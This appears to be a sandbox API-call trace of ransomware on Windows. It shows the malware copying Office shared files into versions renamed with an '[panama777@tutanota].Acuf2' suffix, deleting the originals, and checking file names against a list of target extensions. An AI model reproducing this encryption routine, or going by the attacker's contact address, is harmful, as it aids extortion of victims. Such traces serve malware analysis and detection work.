	[0053.321] lstrlenW (lpString=".jpg") returned 4
	[0053.321] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.321] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0053.322] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0053.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.323] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1571) returned 1
	[0053.323] CloseHandle (hObject=0x1bc) returned 1
	[0053.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20
	[0053.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.323] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.323] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.325] GetLastError () returned 0x0
	[0053.325] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x623, lpOverlapped=0x0) returned 1
	[0053.327] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x630, lpOverlapped=0x0) returned 1
	[0053.327] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.327] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.328] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.328] CloseHandle (hObject=0x1f8) returned 1
	[0053.328] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.328] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.329] CloseHandle (hObject=0x1bc) returned 1
	[0053.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString=".doc") returned 4
	[0053.330] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.330] lstrlenW (lpString=".docx") returned 5
	[0053.330] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.330] lstrlenW (lpString=".pdf") returned 4
	[0053.330] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.330] lstrlenW (lpString=".xls") returned 4
	[0053.330] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.330] lstrlenW (lpString=".xlsx") returned 5
	[0053.330] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.330] lstrlenW (lpString=".ppt") returned 4
	[0053.330] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString=".zip") returned 4
	[0053.330] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.330] lstrlenW (lpString=".rar") returned 4
	[0053.330] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.330] lstrlenW (lpString=".bz2") returned 4
	[0053.330] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.330] lstrlenW (lpString=".7z") returned 3
	[0053.330] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString=".dbf") returned 4
	[0053.330] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString=".1cd") returned 4
	[0053.330] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.330] lstrlenW (lpString=".jpg") returned 4
	[0053.331] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.331] lstrlenW (lpString=".doc") returned 4
	[0053.331] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.331] lstrlenW (lpString=".docx") returned 5
	[0053.331] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.331] lstrlenW (lpString=".pdf") returned 4
	[0053.331] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString=".xls") returned 4
	[0053.331] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString=".xlsx") returned 5
	[0053.331] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.331] lstrlenW (lpString=".ppt") returned 4
	[0053.331] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.331] lstrlenW (lpString=".zip") returned 4
	[0053.331] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString=".rar") returned 4
	[0053.331] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.331] lstrlenW (lpString=".bz2") returned 4
	[0053.331] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.331] lstrlenW (lpString=".7z") returned 3
	[0053.331] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.331] lstrlenW (lpString=".dbf") returned 4
	[0053.331] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.331] lstrlenW (lpString=".1cd") returned 4
	[0053.331] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76
	[0053.332] lstrlenW (lpString=".jpg") returned 4
	[0053.332] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.332] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0053.332] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0053.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.335] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=30170) returned 1
	[0053.335] CloseHandle (hObject=0x1bc) returned 1
	[0053.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20
	[0053.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.335] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.335] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.336] GetLastError () returned 0x0
	[0053.336] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x75da, lpOverlapped=0x0) returned 1
	[0053.338] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x75e0, lpOverlapped=0x0) returned 1
	[0053.339] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.339] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.339] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.339] CloseHandle (hObject=0x1f8) returned 1
	[0053.339] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.339] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.340] CloseHandle (hObject=0x1bc) returned 1
	[0053.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1
	[0053.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.341] lstrlenW (lpString=".doc") returned 4
	[0053.341] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.341] lstrlenW (lpString=".docx") returned 5
	[0053.341] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.341] lstrlenW (lpString=".pdf") returned 4
	[0053.341] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.341] lstrlenW (lpString=".xls") returned 4
	[0053.341] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.341] lstrlenW (lpString=".xlsx") returned 5
	[0053.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.341] lstrlenW (lpString=".ppt") returned 4
	[0053.341] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.341] lstrlenW (lpString=".zip") returned 4
	[0053.341] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.341] lstrlenW (lpString=".rar") returned 4
	[0053.341] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.341] lstrlenW (lpString=".bz2") returned 4
	[0053.341] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString=".7z") returned 3
	[0053.342] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString=".dbf") returned 4
	[0053.342] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString=".1cd") returned 4
	[0053.342] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString=".jpg") returned 4
	[0053.342] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString=".doc") returned 4
	[0053.342] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString=".docx") returned 5
	[0053.342] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.342] lstrlenW (lpString=".pdf") returned 4
	[0053.342] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.342] lstrlenW (lpString=".xls") returned 4
	[0053.342] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.342] lstrlenW (lpString=".xlsx") returned 5
	[0053.342] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.342] lstrlenW (lpString=".ppt") returned 4
	[0053.342] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.342] lstrlenW (lpString=".zip") returned 4
	[0053.342] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.342] lstrlenW (lpString=".rar") returned 4
	[0053.343] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.343] lstrlenW (lpString=".bz2") returned 4
	[0053.343] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.343] lstrlenW (lpString=".7z") returned 3
	[0053.343] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.343] lstrlenW (lpString=".dbf") returned 4
	[0053.343] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.343] lstrlenW (lpString=".1cd") returned 4
	[0053.343] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77
	[0053.343] lstrlenW (lpString=".jpg") returned 4
	[0053.343] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.343] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0053.343] lstrlenW (lpString="FM20.CHM") returned 8
	[0053.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.344] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=334427) returned 1
	[0053.344] CloseHandle (hObject=0x1bc) returned 1
	[0053.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20
	[0053.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.345] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.345] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.345] GetLastError () returned 0x0
	[0053.345] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x51a5b, lpOverlapped=0x0) returned 1
	[0053.353] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x51a60, lpOverlapped=0x0) returned 1
	[0053.359] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.359] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0053.359] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.360] CloseHandle (hObject=0x1f8) returned 1
	[0053.360] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.360] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.363] CloseHandle (hObject=0x1bc) returned 1
	[0053.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.363] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1
	[0053.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.364] lstrlenW (lpString=".doc") returned 4
	[0053.364] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString=".docx") returned 5
	[0053.364] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0053.364] lstrlenW (lpString=".pdf") returned 4
	[0053.364] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString=".xls") returned 4
	[0053.364] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString=".xlsx") returned 5
	[0053.364] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0053.364] lstrlenW (lpString=".ppt") returned 4
	[0053.364] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.364] lstrlenW (lpString=".zip") returned 4
	[0053.364] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString=".rar") returned 4
	[0053.364] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString=".bz2") returned 4
	[0053.364] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.364] lstrlenW (lpString=".7z") returned 3
	[0053.364] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.364] lstrlenW (lpString=".dbf") returned 4
	[0053.364] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.365] lstrlenW (lpString=".1cd") returned 4
	[0053.365] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.365] lstrlenW (lpString=".jpg") returned 4
	[0053.365] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.365] lstrlenW (lpString=".doc") returned 4
	[0053.365] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString=".docx") returned 5
	[0053.365] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0053.365] lstrlenW (lpString=".pdf") returned 4
	[0053.365] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString=".xls") returned 4
	[0053.365] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString=".xlsx") returned 5
	[0053.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0053.365] lstrlenW (lpString=".ppt") returned 4
	[0053.365] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69
	[0053.365] lstrlenW (lpString=".zip") returned 4
	[0053.365] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString=".rar") returned 4
	[0053.365] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.365] lstrlenW (lpString=".bz2") returned 4
	[0053.365] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.365] lstrlenW (lpString=".7z") returned 3
	[0053.365] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
